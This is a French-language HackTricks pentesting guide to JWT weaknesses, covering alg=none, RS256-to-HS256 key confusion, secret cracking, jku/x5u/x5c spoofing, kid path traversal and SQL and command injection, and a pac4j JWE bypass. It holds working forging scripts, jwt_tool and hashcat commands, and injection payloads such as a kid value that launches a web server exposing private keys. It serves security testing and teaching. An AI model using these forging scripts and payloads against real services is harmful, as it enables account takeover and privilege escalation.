Vulnérabilités JWT (Json Web Tokens)
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Une partie de ce post est basée sur l’excellent post : https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Auteur du formidable outil pour pentester les JWTs https://github.com/ticarpi/jwt_tool
Quick Wins
Exécutez jwt_tool avec le mode All Tests! et attendez les lignes vertes
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Si vous avez de la chance, l’outil trouvera un cas où la web application vérifie incorrectement le JWT :
.png)
Ensuite, vous pouvez rechercher la requête dans votre proxy ou dumper le JWT utilisé pour cette requête à l’aide de l’outil jwt_:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Vous pouvez aussi utiliser le Burp Extension SignSaboteur pour lancer des attaques JWT depuis Burp.
Flux de travail pratique d’évaluation JWT
- Définissez le périmètre du contrôle de session: Choisissez une requête spécifique à un utilisateur (par ex., profil, facturation). Retirez les cookies/headers un par un jusqu’à ce que la requête soit rejetée afin d’isoler quel(s) token(s) contrôle(nt) réellement l’autorisation.
- Localisez les JWT dans le trafic: Ils se trouvent souvent dans
Authorization: Bearer <JWT>, mais apparaissent aussi dans des headers personnalisés ou des cookies. Si Burp ne les met pas en évidence, utilisez Target → Site map → Engagement tools → Search avec des patterns regex tels que: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Décodez et énumérez: Utilisez Burp JWT Editor ou
python3 jwt_tool.py <JWT>pour lire l’en-tête/le payload. Notezalg,exp/la durée de vie du token, et les claims qui pilotent l’authn/authz (role,id,username,email, etc.). - Vérification de l’application de la signature: Modifiez ou supprimez quelques octets dans la partie signature et rejouez. Si c’est accepté, cela implique l’absence de validation de signature et vous pouvez modifier directement les claims du payload.
- Objectif: Modifier les claims du payload pour escalader les privilèges; chaque attaque ci-dessous vise à faire accepter au serveur un payload modifié en abusant d’une vérification faible, de secrets faibles ou d’une sélection de clé dangereuse.
Altérer les données sans rien modifier
Vous pouvez simplement altérer les données en laissant la signature telle quelle et vérifier si le serveur contrôle la signature. Essayez par exemple de changer votre username en “admin”.
Le token est-il vérifié ?
Pour vérifier si la signature d’un JWT est contrôlée:
- Un message d’erreur suggère qu’une vérification est en cours; les détails sensibles dans des erreurs verbeuses doivent être examinés.
- Un changement dans la page renvoyée indique aussi une vérification.
- Aucun changement suggère l’absence de vérification; c’est alors le moment d’expérimenter avec la modification des claims du payload.
Origine
Il est important de déterminer si le token a été généré côté serveur ou côté client en examinant l’historique des requêtes du proxy.
- Des tokens vus d’abord côté client suggèrent que la clé pourrait être exposée au code côté client, ce qui nécessite une investigation supplémentaire.
- Des tokens provenant du serveur indiquent un processus sécurisé.
Durée
Vérifiez si le token dure plus de 24h… peut-être n’expire-t-il jamais. S’il y a un champ “exp”, vérifiez que le serveur le gère correctement.
Brute-force du secret HMAC
Si le header utilise HS256, exportez le token dans un fichier et essayez un craquage hors ligne:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Une fois le secret récupéré, chargez-le comme clé symétrique dans Burp JWT Editor et re-signez les claims modifiées.
Dériver les secrets JWT à partir de config divulguée + données DB
Si une lecture de fichier arbitraire (ou une leak de backup) expose à la fois le matériel de chiffrement de l’application et les enregistrements utilisateur, vous pouvez parfois recréer le secret de signature JWT et forger des cookies de session sans connaître aucun mot de passe en clair. Exemple de schéma observé dans les stacks d’automatisation de workflow :
- Leak la clé de l’application (par ex.
encryptionKey) depuis un fichier de config. - Leak la table des utilisateurs pour obtenir
email,password_hashetuser_id. - Dérivez le secret de signature à partir de la clé, puis dérivez le hash par utilisateur attendu dans le payload JWT :
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Déposez le token signé dans le cookie de session (par ex.
n8n-auth) pour usurper le compte utilisateur/admin même si le hash du mot de passe est salé.
Modifier l’algorithme sur None
Définissez l’algorithme utilisé sur “None” et supprimez la partie signature.
Utilisez l’extension Burp call “JSON Web Token” pour essayer cette vulnérabilité et modifier différentes valeurs à l’intérieur du JWT (envoyez la requête vers Repeater et, dans l’onglet “JSON Web Token”, vous pouvez modifier les valeurs du token. Vous pouvez aussi choisir de mettre la valeur du champ “Alg” sur “None”).
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
Certaines stacks attendent un signed inner JWT enveloppé dans un encrypted JWE. Dans les versions vulnérables de pac4j-jwt (avant 4.5.9, 5.7.9, et 6.3.3), l’authenticator déchiffre le JWE, essaie d’analyser le payload comme un signed JWT, et ne vérifie la signature que si cette conversion réussit. Si le payload déchiffré est un PlainJWT (alg=none), toSignedJWT() renvoie null et le chemin de vérification de la signature est ignoré.
- Pre-reqs :
- L’application accepte des JWE bearer tokens
- La clé publique du serveur est exposée (souvent via JWKS comme
/.well-known/jwks.jsonou/api/auth/jwks) - L’autorisation dépend de claims contrôlables par l’attaquant comme
sub,role,groups, ouscope - Impact : forger un token chiffré pour n’importe quel utilisateur/role en utilisant uniquement la clé publique
Vérifications pratiques :
- Énumérez le frontend / la documentation de l’API pour trouver des indices comme
RSA-OAEP-256,A128GCM/A256GCM,jwks, ou des commentaires disant “inner JWT is signed”. - Récupérez le JWKS et importez la clé RSA à partir de
n/e. - Construisez le token interne manuellement sous la forme
base64url(header) + "." + base64url(payload) + "."afin que la signature soit vide. - Chiffrez ce JWT en clair comme un JWE en utilisant la clé publique exposée et rejouez-le comme bearer token.
Construction minimale de PlainJWT :
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
Chiffrez-le en un JWE compact avec la clé publique RSA de JWKS :
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Notes:
- Si votre bibliothèque JWT refuse d’émettre
alg=none, générez le token compact manuellement comme indiqué ci-dessus. - La valeur
encdoit correspondre à une valeur acceptée par la cible ; les commentaires du frontend et les tokens légitimes la révèlent souvent. - Dans les SPA, vérifiez si le bearer token est stocké dans
sessionStorage,localStorage, ou dans un cookie accessible en JS ; y déposer le token forgé suffit souvent à valider rapidement le bypass.
Changer l’algorithme RS256(asymmetric) en HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
L’algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.
L’algorithme RS256 utilise la clé privée pour signer le message et utilise la clé publique pour l’authentification.
Si vous changez l’algorithme de RS256 à HS256, le code du back end utilise la clé publique comme clé secrète puis utilise l’algorithme HS256 pour vérifier la signature.
Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Utilisez Burp JWT Editor, importez la clé publique RSA (depuis /.well-known/jwks.json ou un PEM) et exécutez Attack → HMAC Key Confusion Attack pour automatiser la tentative de re-signature HS256.
Nouvelle clé publique dans le header
Un attaquant intègre une nouvelle clé dans le header du token et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114).
Cela peut être fait avec l’extension Burp “JSON Web Tokens”.
(Envoyez la requête vers le Repeater, dans l’onglet JSON Web Token sélectionnez “CVE-2018-0114” puis envoyez la requête).
JWKS Spoofing
Les instructions détaillent une méthode pour évaluer la sécurité des tokens JWT, en particulier ceux qui utilisent une revendication de header “jku”. Cette revendication doit pointer vers un fichier JWKS (JSON Web Key Set) qui contient la clé publique nécessaire à la vérification du token.
-
Évaluation des tokens avec le header “jku” :
-
Vérifiez l’URL de la revendication “jku” pour vous assurer qu’elle mène au fichier JWKS approprié.
-
Modifiez la valeur “jku” du token pour la rediriger vers un service web contrôlé, permettant d’observer le trafic.
-
Surveillance des interactions HTTP :
-
L’observation de requêtes HTTP vers l’URL spécifiée indique que le serveur tente de récupérer des clés depuis le lien fourni.
-
Lors de l’utilisation de
jwt_toolpour ce processus, il est crucial de mettre à jour le fichierjwtconf.iniavec l’emplacement de votre JWKS personnel afin de faciliter les tests. -
Commande pour
jwt_tool: -
Exécutez la commande suivante pour simuler le scénario avec
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Vue d’ensemble des problèmes de Kid
Une revendication de header optionnelle appelée kid est utilisée pour identifier une clé spécifique, ce qui devient particulièrement important dans les environnements où plusieurs clés existent pour la vérification de la signature du token. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d’un token.
Révélation de la clé via “kid”
Lorsque la revendication kid est présente dans le header, il est conseillé de rechercher dans le répertoire web le fichier correspondant ou ses variations. Par exemple, si "kid":"key/12345" est spécifié, les fichiers /key/12345 et /key/12345.pem doivent être recherchés à la racine web.
Path Traversal avec “kid”
La revendication kid peut également être exploitée pour naviguer dans le système de fichiers, ce qui peut permettre la sélection d’un fichier arbitraire. Il est possible de tester la connectivité ou d’exécuter des attaques Server-Side Request Forgery (SSRF) en modifiant la valeur kid pour cibler des fichiers ou services spécifiques. Le tampering du JWT pour modifier la valeur kid tout en conservant la signature originale peut être réalisé en utilisant l’option -T dans jwt_tool, comme démontré ci-dessous :
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
En ciblant des fichiers avec un contenu prévisible, il est possible de forger un JWT valide. Par exemple, le fichier /proc/sys/kernel/randomize_va_space sur les systèmes Linux, connu pour contenir la valeur 2, peut être utilisé dans le paramètre kid avec 2 comme mot de passe symétrique pour la génération du JWT.
Un schéma pratique pour le chargement de clés de système de fichiers fragile consiste à générer une clé HS256 avec k de JWK défini sur AA==, à définir kid sur une traversal comme ../../../../../../../dev/null, puis à re-signer — certaines implémentations traitent le fichier vide comme un secret HMAC valide et accepteront des tokens forgés.
SQL Injection via “kid”
Si le contenu du claim kid est utilisé pour récupérer un mot de passe depuis une base de données, une SQL injection pourrait être facilitée en modifiant le payload kid. Un exemple de payload qui utilise SQL injection pour altérer le processus de signature JWT est :
non-existent-index' UNION SELECT 'ATTACKER';-- -
Cette modification force l’utilisation d’une clé secrète connue, ATTACKER, pour la signature du JWT.
OS Injection through “kid”
Un scénario où le paramètre kid spécifie un chemin de fichier utilisé dans un contexte d’exécution de commande pourrait conduire à des vulnérabilités de Remote Code Execution (RCE). En injectant des commandes dans le paramètre kid, il est possible d’exposer des clés privées. Un exemple de payload pour obtenir une RCE et exposer la clé est :
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku signifie JWK Set URL.
Si le token utilise un claim de Header “jku”, alors vérifiez l’URL fournie. Elle doit pointer vers une URL contenant le fichier JWKS qui contient la Public Key pour vérifier le token. Modifiez le token pour faire pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.
D’abord, vous devez créer un nouveau certificat avec de nouvelles clés private et public
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. Afin de créer un certificat jku valide, vous pouvez télécharger l’original et changer les paramètres nécessaires.
Vous pouvez obtenir les paramètres “e” et “n” à partir d’un certificat public en utilisant:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
If the verifier récupère le material de clé à distance, intégrez une URL Burp Collaborator dans jku/x5u en utilisant JWT Editor → Attack → Embed Collaborator payload. Tout callback confirme une récupération de clé de type SSRF ; hébergez ensuite votre propre JWKS/PEM à cette URL et re-signez avec votre clé privée afin que le service valide des tokens forgés par l’attaquant.
x5u
X.509 URL. Une URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés au format PEM. Le premier certificat de l’ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 52807 . La sécurité du transport est requise pour transférer les certificats.
Essayez de changer cet en-tête pour une URL sous votre contrôle et vérifiez si une requête est reçue. Dans ce cas, vous pourriez falsifier le JWT.
Pour forger un nouveau token à l’aide d’un certificat contrôlé par vous, vous devez créer le certificat et extraire les clés publique et privée :
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.
.png)
You can also abuse both of these vulns for SSRFs.
x5c
This parameter may contain the certificate in base64:
.png)
If the attacker génère un certificat auto-signé and crée un token forgé en utilisant la clé privée correspondante and replace the “x5c” parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Clé publique intégrée (CVE-2018-0114)
Si le JWT a intégré une clé publique comme dans le scénario suivant :
.png)
En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données :
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Il est possible de générer une nouvelle clé privée/publique, d’intégrer la nouvelle clé publique à l’intérieur du token et de l’utiliser pour générer une nouvelle signature :
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Vous pouvez obtenir le “n” et le “e” en utilisant ce script nodejs :
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Enfin, en utilisant la clé publique et privée ainsi que les nouvelles valeurs “n” et “e”, vous pouvez utiliser jwt.io pour forger un nouveau JWT valide avec n’importe quelles informations.
ES256: Révéler la clé privée avec le même nonce
Si certaines applications utilisent ES256 et utilisent le même nonce pour générer deux jwts, la clé privée peut être restaurée.
Voici un exemple : ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
Le claim JTI (JWT ID) fournit un identifiant unique pour un JWT Token. Il peut être utilisé pour empêcher que le token soit rejoué.
Cependant, imaginez une situation où la longueur maximale de l’ID est de 4 (0001-9999). La request 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l’ID à chaque request, vous pourriez exploiter cela pour replay une request (en devant envoyer 10000 request entre chaque replay réussi).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
Il a été observé que certaines web applications s’appuient sur un service JWT de confiance pour la génération et la gestion de leurs tokens. Des cas ont été enregistrés où un token, généré pour un client par le service JWT, était accepté par un autre client du même service JWT. Si l’émission ou le renouvellement d’un JWT via un service tiers est observé, la possibilité de créer un compte sur un autre client de ce service en utilisant le même username/email devrait être étudiée. Une tentative devrait ensuite être faite pour rejouer le token obtenu dans une request vers la cible afin de voir s’il est accepté.
- Un problème critique peut être indiqué par l’acceptation de votre token, ce qui pourrait permettre l’usurpation du compte de n’importe quel user. Cependant, il convient de noter qu’une autorisation pour des tests plus larges peut être requise si l’inscription se fait sur une application tierce, car cela peut entrer dans une zone juridique grise.
Expiry Check of Tokens
L’expiry du token est vérifiée à l’aide du claim de Payload “exp”. Étant donné que les JWT sont souvent utilisés sans information de session, une gestion prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d’un autre user pourrait permettre l’usurpation de cet user. Le RFC JWT recommande d’atténuer les attaques de replay de JWT en utilisant le claim “exp” pour définir une durée d’expiry pour le token. De plus, l’implémentation par l’application des vérifications pertinentes pour garantir le traitement de cette valeur et le rejet des tokens expirés est cruciale. Si le token inclut un claim “exp” et que les limites de temps de test le permettent, il est conseillé de stocker le token et de le rejouer après que l’heure d’expiry soit passée. Le contenu du token, y compris l’analyse du timestamp et la vérification de l’expiry (timestamp en UTC), peut être lu à l’aide du flag -R de jwt_tool.
- Un risque de sécurité peut être présent si l’application valide encore le token, car cela peut impliquer que le token ne pourrait jamais expirer.
Tools
- jwt_tool – décodage, manipulation du claim/header, cracking hors ligne du secret (
-C) et modes d’attaque semi-automatisés (-M at). - Burp JWT Editor – décoder/re-signer dans Repeater, générer des clés personnalisées, et exécuter des attaques intégrées (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– cracking GPU-accelerated du secret HS256 après export des JWT vers une wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


